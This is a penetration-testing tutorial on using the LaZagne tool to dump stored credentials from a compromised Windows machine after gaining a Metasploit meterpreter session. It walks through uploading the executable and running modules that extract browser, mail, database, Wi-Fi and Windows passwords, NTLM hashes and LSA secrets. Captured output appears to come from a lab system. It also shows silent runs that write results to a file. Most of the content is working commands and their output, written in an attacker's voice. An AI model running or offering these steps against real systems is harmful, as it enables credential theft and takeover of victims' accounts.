

Password Dumping

LaZagne



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Introduction of LaZagne Project

LaZagne is an open-source application. It retrieves stored passwords on a system. It directly injects the Python code into memory without writing anything to disk. This makes it difficult to trace. Usually, when we get a session on a target system, our main aim is to gather credentials. When an attacker attacks a target, there are two ways it can compromise the target. If the attacker gets the meterpreter session, then all it does is compromise the device's security.

But using some scripts and post exploitation modules, the target can compromise every nook and cranny of the victim's security. This includes email passwords, social networking passwords, SSH passwords, banking information, etc. Usually, this extracting of passwords is a noisy and clumsy task, but with LaZagne it is very simple and stealthy.

Without LaZagne, attackers normally run a bunch of different scripts targeting different applications that are installed on the target system. But LaZagne does this automatically. It first checks which application is installed on the target system and then runs that specific script to target the password for that particular application.

Famous Scripts Included in LaZagne

- KeeThief
- mimipy
- mimikatz
- pypykatz
- creddump
- chainbreaker
- pyaes
- pyDes
- secretstorage and many more.

Target Software

- Firefox
- Google Chrome
- Opera
- Skype
- Postgresql
- Thunderbird
- Keepass
- CoreFTP
- FileZilla and many more.

Syntax and Parameters

On Linux systems, LaZagne will be executed as a Python file. But when our target is Windows, we will have to use an executable (exe) file. We can download more executables from here.



| Sno. | Parameter | Description |
|------|-----------|-----------------------------------------------------|
| 1. | -h | Help Screen |
| 2. | -oN | Write Passwords into a file as Normal text |
| 3. | -vv | Change Verbosity mode (2 different levels) |
| 4. | -quiet | Execute modules quietly without printing on screen. |
| 5. | -V | Prints Version |

Arguments

| Sno. | Arguments | Description |
|------|-----------|--------------------------------------------|
| 1. | mails | Extract Thunderbird or Outlook Credentials |
| 2. | windows | Extract System Login Credentials |
| 3. | browsers | Extract Credentials stored in Browsers |
| 4. | databases | Extract Database Credentials |
| 5. | wifi | Extract Stored Wifi Passwords |
| 6. | all | Launch all modules |

LaZagne has a lot of other parameters and conditions, but here we have used only certain parameters and targets due to technological limitations.

Achieve Meterpreter and Upload LaZagne

Open the Kali Linux terminal and type msfconsole in order to load the Metasploit framework. Now we need to compromise the victim's machine to achieve any type of session, either meterpreter or shell, and to do so, we can read our previous article here.

After getting meterpreter on the remote system, we need to upload the executable file to the target machine to extract credentials. We will use upload command for this.

upload lazagne.exe.

Now that we have the LaZagne on the target system, it's time to enumerate passwords. Use the shell command on the meterpreter shell to get to the command line on the target system.

Help Screen

To get details about the LaZagne, we will use the -h parameter. This will print the list of parameters and arguments with the working examples on our screen. This is an informative banner as it not only gives us various methods that we can use, but it also tells us how to use those parameters.

lazagne.exe -h



```
C:\Users\win7\Downloads>lazagne.exe -h 👍
lazagne.exe -h
usage: lazagne.exe [-h] [-version]
                    {chats, mails, all, git, svn, windows, wifi, maven, sysadmin
                          The LaZagne Project
                            ! BANG BANG !
positional arguments:
  {chats, mails, all, git, svn, windows, wifi, maven, sysadmin, browsers, games, m
                         Choose a main command
                         Run chats module
    chats
   mails
                         Run mails module
   all
                         Run all modules
    git
                         Run git module
    svn
                         Run svn module
   windows
                         Run windows module
   wifi
                         Run wifi module
                         Run maven module
   maven
    sysadmin
                         Run sysadmin module
                         Run browsers module
   browsers
    games
                         Run games module
   multimedia
                         Run multimedia module
                         Run memory module
   memory
    databases
                         Run databases module
                         Run php module
    php
```

Mails Argument

This argument targets mail clients like Mozilla Thunderbird and Microsoft Outlook. When this argument is selected, a script runs in the background which extracts the login credentials that are stored by these email clients. As we can see in the given image, it has successfully extracted the credentials that were stored in the email clients.

lazagne.exe mails



```
C:\Users\win7\Downloads>lazagne.exe mails
lazagne.exe mails
                         The LaZagne Project
                           ! BANG BANG !
[+] System masterkey decrypted for f22e410f-f947-4e08-8f2a-8f65df603f8d
 +] System masterkey decrypted for 1e582198-061f-43f1-abdf-d4e9b606b035
 +] System masterkey decrypted for 8df3e91f-f06e-4fea-9daa-56525a34ac20
       ### User: win7 ####
                    Thunderbird passwords -
[+] Password found !!! 🚓
URL: smtp://smtp-mail.outlook.com
ogin: MaryMShore123@outlook.com
Password: P@ssw0rd@123987
[+] Password found !!! 存
URL: imap://imap-mail.outlook.com
Login: MaryMShore123@outlook.com
Password: P@ssw0rd@123987
[+] 2 passwords have been found.
```

Windows Argument

This argument targets Windows Security on all fronts. When this argument is selected, a script runs in the background which includes autologon, cachedump, credman, hashdump, lsa_secrets, and others. This compromises all of the Windows defences and gives the attacker the credentials, he is craving for. As we can see in the given image that it has successfully extracted the credentials.

lazagne.exe windows

```
C:\Users\win7\Downloads>lazagne.exe windows 🗢
lazagne.exe windows
                         The LaZagne Project
                           ! BANG BANG !
+] System masterkey decrypted for f22e410f-f947-4e08-8f2a-8f65df603f8d
 +] System masterkey decrypted for 1e582198-061f-43f1-abdf-d4e9b606b035
+] System masterkey decrypted for 8df3e91f-f06e-4fea-9daa-56525a34ac20
      ### User: SYSTEM ###
                    Pypykatz passwords -----
[+] Password found !!!
Oomain: WIN-EOMLNF0GNSA 🗢
Shahash: 0d5399508427ce79556cda71918020c1e8d15b53
Nthash: 3dbde697d71690a769204beb12283678
Login: win7
Password: 123
Lmhash: ccf9155e3e7db453aad3b435b51404ee
[+] Password found !!!
Domain: win7
Password: 123
```

Browsers Argument

This argument targets browsers like Mozilla Firefox, Google Chrome, Opera, UC Browser, Microsoft Edge and much more. When this argument is selected, a script runs in the background which extracts the login credentials that are stored inside the browsers. Browsers hide the passwords and show them only after verifying the Windows credentials. So, in order to extract the credentials stored inside the browser, LaZagne attacks the SAM, gets the Windows password, and then uses it to extract the rest of the passwords. As we can see in the given image, it has successfully extracted the credentials that were stored in Firefox and Chrome.

lazagne.exe browsers



```
C:\Users\win7\Downloads>lazagne.exe browsers 🗢
lazagne.exe browsers
                         The LaZagne Project
                           ! BANG BANG !
[+] System masterkey decrypted for f22e410f-f947-4e08-8f2a-8f65df603f8d
 -] System masterkey decrypted for le582198-061f-43f1-abdf-d4e9b606b035
 +] System masterkey decrypted for 8df3e91f-f06e-4fea-9daa-56525a34ac20
 ######## User: win7 #########
                    Firefox passwords
[+] Password found !!! 🛑
URL: https://login.live.com
Login: marymshore123@outlook.com
Password: P@ssw0rd@123987
[+] Password found !!!
URL: https://www.evernote.com
Login: MaryMShore123@outlook.com
Password: P@ssw0rd@123987
[+] Password found !!!
URL: https://www.facebook.com
Login: MaryMShore123@outlook.com
Password: P@ssw0rd@123987
          ----- Google chrome passwords ----
[+] Password found !!!
URL: https://www.facebook.com/login/device-based/regular/login/
Login: MaryMShore123@outlook.com 🗢
Password: P@ssw0rd@123987
```

Databases Argument

This argument targets database clients like PostgreSQL. When this argument is selected, a script runs in the background which extracts the login credentials that are stored by any database client. As we can see in the given image, it has successfully extracted the credentials that were stored in the Postgresql Client.

lazagne.exe databases



```
C:\Users\win7\Downloads>lazagne.exe databases 年
lazagne.exe databases
                         The LaZagne Project
                           ! BANG BANG !
[+] System masterkey decrypted for f22e410f-f947-4e08-8f2a-8f65df603f8d
 +] System masterkey decrypted for 1e582198-061f-43f1-abdf-d4e9b606b035
 +] System masterkey decrypted for 8df3e91f-f06e-4fea-9daa-56525a34ac20
    ###### User: win7 #########
                    Postgresql passwords
[+] Password found !!!
Username: postgres
Hostname: 127.0.0.1
DB: *
Port: 5432
Password: 123123 💝
[+] Password found !!!
Username: postgres
Hostname: localhost
DB: *
Port: 5432
Password: 123123 🤙
[+] 2 passwords have been found.
```

Wi-Fi Argument

This argument targets the stored Wi-Fi credentials. When this argument is selected, a script runs in the background which extracts the Wi-Fi credentials. All the Wi-Fi networks that the user had connected to and opted to save the password. As we can see in the given image, it has successfully extracted the Wi-Fi credentials.

lazagne.exe wifi



```
::\Users\win7\Downloads>lazagne.exe wifi 🗢
lazagne.exe wifi
                        The LaZagne Project
                           ! BANG BANG !
+] System masterkey decrypted for 7ee3b09b-c115-4059-aed9-0f343f4285a6
  System masterkey decrypted for c352d4c2-d4e1-4f1e-a346-6c01d9714fd3
   System masterkey decrypted for 8d0f100b-b89c-4fae-b257-dd4d064d95f2
   System masterkey decrypted for 01c4da68-4784-4f91-838d-41df54d3c35a
 -] System masterkey decrypted for 66076824-1aab-4c33-b5dd-49c3e6f02687
 +] System masterkey decrypted for 2f562579-c666-4d2f-9c1b-1a8ff80cefa5
   ###### User: pd ######
                   Wifi passwords ----
[+] Password found !!!
Authentication: WPA2PSK
rotected: true
SID: Network
Password: 12345678 📥
[+] Password found !!!
Authentication: WPA2PSK
rotected: true
SID: Pentest Lab
Password: ig 🖖 🞅123
[+] Password found !!!
Authentication: WPA2PSK
rotected: true
SID: Sinos
Password: ps:: 987 🛵
```

All Argument

This argument runs through all the modules in the LaZagne. When this argument is selected, a script runs in the background which extracts all the login credentials that are stored on the target system. As we can see in the given image, it has successfully extracted all the possible credentials from the target.

lazagne.exe all



```
::\Users\win7\Downloads>lazagne.exe all 👍
lazagne.exe all
                      The LaZagne Project
                        ! BANG BANG !
+] System masterkey decrypted for f22e410f-f947-4e08-8f2a-8f65df603f8d
  System masterkey decrypted for 1e582198-061f-43f1-abdf-d4e9b606b035
+] System masterkey decrypted for 8df3e91f-f06e-4fea-9daa-56525a34ac20
  ###### User: SYSTEM #########
     ----- Hashdump passwords ------
...Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
win7:1000:aad3b435b51404eeaad3b435b51404ee:3dbde697d71690a769204beb12283678:::
       ----- Lsa secrets passwords ------
DPAPI SYSTEM
0000
     01 00 00 00 48 17 17 0D 4B FC 7C 00 19 6E C0 7E
                                                     ....H...K.|..n.~
0010
      98 75 3D CB 88 27 01 3F 91 61 DC E0 08 3A BE 87
                                                     .u=..'.?.a...:..
0020
     E2 AD 3B 10 42 62 52 EC 35 99 46 E7
                                                     ..;.BbR.5.F.
DefaultPassword
      0010
      31 00 32 00 33 00 00 00 00 00 00 00 00 00 00 00
                                                     1.2.3.....
     ----- Pypykatz passwords ------
```

oN Parameter

This parameter should be run with some argument, otherwise it will give an error (we are using all the arguments here). This parameter is optional to run. This parameter not only prints the output on the terminal screen but also creates a file in the directory where it was run and writes it with the output of the script.

lazagne.exe all -oN



Let's check if the file was created. As we can see in the given image, a file named credentials is created, and on opening it using the cat command, it shows the same result that we saw on the terminal.

```
meterpreter > ls
Listing: C:\Users\win7\Downloads
                Size Type Last modified
Mode
100666/rw-rw-rw- 1052 fil
                            2019-02-25 11:52:59 -0500 credentials 25022019 222255.txt
                            2019-02-01 10:45:32 -0500 desktop.ini
2019-02-25 11:15:37 -0500 file2.exe
100666/rw-rw-rw- 282 fil
100777/rwxrwxrwx 7168 fil
<u>meterpreter</u> > cat credentials 25022019 222255.txt 🛵
                        The LaZagne Project
                          ! BANG BANG !
 Date: 2019-02-25 16:52:55
 Username: win7
 Hostname:WIN-EOMLNF0GNSA
----- Hashdump ------
4dministrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
win7:1000:aad3b435b51404eeaad3b435b51404ee:3dbde697d71690a769204beb12283678::: 👍
```



Verbose Mode Parameter

This parameter should be run with some argument, otherwise it will give an error (we are using all the arguments here). This parameter is optional to run. In LaZagne, by default, we have 2 levels of verbosity. They are Level 0 and Level 1. If no parameter is given, level 0 is selected automatically. But when we give the -vv parameter, it increases the verbosity of the extraction. The output also changes. Now LaZagne forcefully runs each and every script in its arsenal, trying to extract more and more credentials.

lazagne.exe all -vv

```
::\Users\win7\Downloads>lazagne.exe all -vv 🔷
lazagne.exe all -vv
                       The LaZagne Project
                          ! BANG BANG !
  System masterkey decrypted for f22e410f-f947-4e08-8f2a-8f65df603f8d
   System masterkey decrypted for 1e582198-061f-43f1-abdf-d4e9b606b035
   System masterkey decrypted for 8df3e91f-f06e-4fea-9daa-56525a34ac20
   ###### User: SYSTEM #########
        ----- Ftpnavigator passwords ------
[!] No passwords found
         ----- Unattended passwords ------
[!] Unattended file found: \Windows\Panther\Unattend.xml
[!] No passwords found
        ----- Mscache passwords -
[!] No passwords found
          ----- Hashdump passwords -----
4dministrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
/in7:1000:aad3b435b51404eeaad3b435b51404ee:3dbde697d71690a769204beb12283678::: 📥
           ------ Lsa secrets passwords ------
```

Quiet Parameter

This parameter should be run with some argument, otherwise it will give an error (we are using all the arguments here). This parameter is optional to run. This parameter doesn't print any output on the terminal screen. Scripts do run in the background, but there is no visibility of the passwords extracted, so we use the parameter with the oN parameter we discussed earlier, as it creates a file in the directory where it was run and writes it with the output of the script.

lazagne.exe -quiet -oN



C:\Users\win7\Downloads>lazagne.exe all -quiet -oN <lazagne.exe all -quiet -oN





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